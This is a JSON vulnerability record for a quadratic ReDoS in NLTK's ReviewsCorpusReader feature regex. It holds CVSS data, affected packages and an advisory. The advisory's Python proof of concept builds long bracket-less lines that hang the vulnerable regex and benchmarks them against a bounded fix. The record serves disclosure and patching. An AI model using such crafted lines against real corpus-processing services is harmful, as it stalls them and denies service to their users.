{"schemaVersion":3,"id":"CVE-2026-12061","aliases":["GHSA-fg7f-2386-8897","PYSEC-2026-3582","UBUNTU-CVE-2026-12061","DEBIAN-CVE-2026-12061","CGA-3222-hj8q-265f","CGA-fcv4-jjvr-hwfg","CGA-26g6-h573-q6xg"],"status":"published","duplicateOf":null,"title":null,"description":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex\n\n### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`.\n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n    print(f\"  vulnerable regex -> {a}\")\n    print(f\"  bounded   regex  -> {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","dates":{"published":"2026-08-04T11:34:46.033Z","modified":"2026-08-04T14:30:27.317Z","reserved":null,"kevAdded":[],"kevDue":[]},"cvss":{"headline":{"score":7.5,"severity":"high","version":"3.1","versionLabel":"v3.1","source":"OSV · Pypi","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","computed":true,"selection":"version-preference"},"metrics":[{"version":"3.1","versionLabel":"v3.1","source":"OSV · Pypi","score":7.5,"severity":"high","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","exploitability":10,"impact":6,"computed":true},{"version":"3.1","versionLabel":"v3.1","source":"OSV · Wolfi","score":7.5,"severity":"high","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","exploitability":10,"impact":6,"computed":true},{"version":"3.1","versionLabel":"v3.1","source":"OSV · Chainguard","score":7.5,"severity":"high","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","exploitability":10,"impact":6,"computed":true}]},"epss":{"probability":null,"percentile":null,"severity":"unknown","asOf":null,"change":{"pp":null,"baselineDate":null,"baselineScore":null},"history":[],"last30":[]},"kev":{"state":"not-listed","entries":[],"listedCount":0,"totalCatalogs":3,"catalogs":[{"source":"cisa","label":"CISA","listed":false,"entry":null},{"source":"enisa","label":"ENISA","listed":false,"entry":null},{"source":"circl","label":"CIRCL","listed":false,"entry":null}]},"ransomware":{"state":"none-recorded","sources":[]},"exploits":[],"exploitCount":0,"weaknesses":[],"affected":[{"vendor":"chainguard","product":"nemo","name":"nemo","label":"nemo","ecosystem":"Chainguard","cpePart":null,"purl":"pkg:apk/chainguard/nemo","purlType":"apk","versions":[{"text":"< 2.7.3-r15","noFixRecorded":false,"fixedIn":null}],"versionsText":"< 2.7.3-r15","eol":null,"hubHref":null},{"vendor":"chainguard","product":"open-webui","name":"open-webui","label":"open-webui","ecosystem":"Chainguard","cpePart":null,"purl":"pkg:apk/chainguard/open-webui","purlType":"apk","versions":[{"text":"< 0.11.0-r7","noFixRecorded":false,"fixedIn":null}],"versionsText":"< 0.11.0-r7","eol":null,"hubHref":null},{"vendor":"wolfi","product":"open-webui","name":"open-webui","label":"open-webui","ecosystem":"Wolfi","cpePart":null,"purl":"pkg:apk/wolfi/open-webui","purlType":"apk","versions":[{"text":"< 0.11.0-r7","noFixRecorded":false,"fixedIn":null}],"versionsText":"< 0.11.0-r7","eol":null,"hubHref":null},{"vendor":"debian","product":"nltk","name":"nltk","label":"nltk","ecosystem":"Debian","cpePart":null,"purl":"pkg:deb/debian/nltk","purlType":"deb","versions":[{"text":"All versions","noFixRecorded":true,"fixedIn":null},{"text":"< 3.10.0-1","noFixRecorded":false,"fixedIn":null}],"versionsText":"All versions (No fix recorded) | < 3.10.0-1","eol":null,"hubHref":null},{"vendor":"ubuntu","product":"nltk","name":"nltk","label":"nltk","ecosystem":"Ubuntu","cpePart":null,"purl":"pkg:deb/ubuntu/nltk","purlType":"deb","versions":[{"text":"All versions","noFixRecorded":true,"fixedIn":null}],"versionsText":"All versions (No fix recorded)","eol":null,"hubHref":null},{"vendor":"PyPI","product":"nltk","name":"nltk","label":"nltk","ecosystem":"PyPI","cpePart":null,"purl":"pkg:pypi/nltk","purlType":"pypi","versions":[{"text":"< 3.10.0","noFixRecorded":false,"fixedIn":null}],"versionsText":"< 3.10.0","eol":null,"hubHref":null}],"affectedCount":6,"eol":{"hasEol":false,"count":0},"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897","label":"github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897","hostname":"github.com","tags":["WEB","REPORT"]},{"url":"https://github.com/nltk/nltk","label":"github.com/nltk/nltk","hostname":"github.com","tags":["PACKAGE"]},{"url":"https://pypi.org/project/nltk","label":"pypi.org/project/nltk","hostname":"pypi.org","tags":["PACKAGE"]},{"url":"https://github.com/advisories/GHSA-fg7f-2386-8897","label":"github.com/advisories/GHSA-fg7f-2386-8897","hostname":"github.com","tags":["Advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12061","label":"nvd.nist.gov/vuln/detail/CVE-2026-12061","hostname":"nvd.nist.gov","tags":["Advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-12061","label":"ubuntu.com/security/CVE-2026-12061","hostname":"ubuntu.com","tags":["REPORT"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12061","label":"www.cve.org/CVERecord?id=CVE-2026-12061","hostname":"www.cve.org","tags":["REPORT"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-12061","label":"security-tracker.debian.org/tracker/CVE-2026-12061","hostname":"security-tracker.debian.org","tags":["Advisory"]}],"lineage":{"upstream":[],"downstream":[],"duplicates":["CVE-2026-54295"],"related":["CGA-W2RM-MRHC-XC43"]},"timeline":[{"kind":"published","date":"2026-08-04T11:34:46.033Z","label":"Published","detail":"Vulnerability first disclosed.","source":null},{"kind":"modified","date":"2026-08-04T14:30:27.317Z","label":"Last modified","detail":"Vulnerability information updated.","source":null}],"risk":{"score":30,"level":"medium","profile":"Default","thresholds":{"critical":75,"high":50,"medium":25,"low":10}},"meta":{"dataAsOf":"2026-10-19T18:18:38.406Z","stale":false,"partial":false}}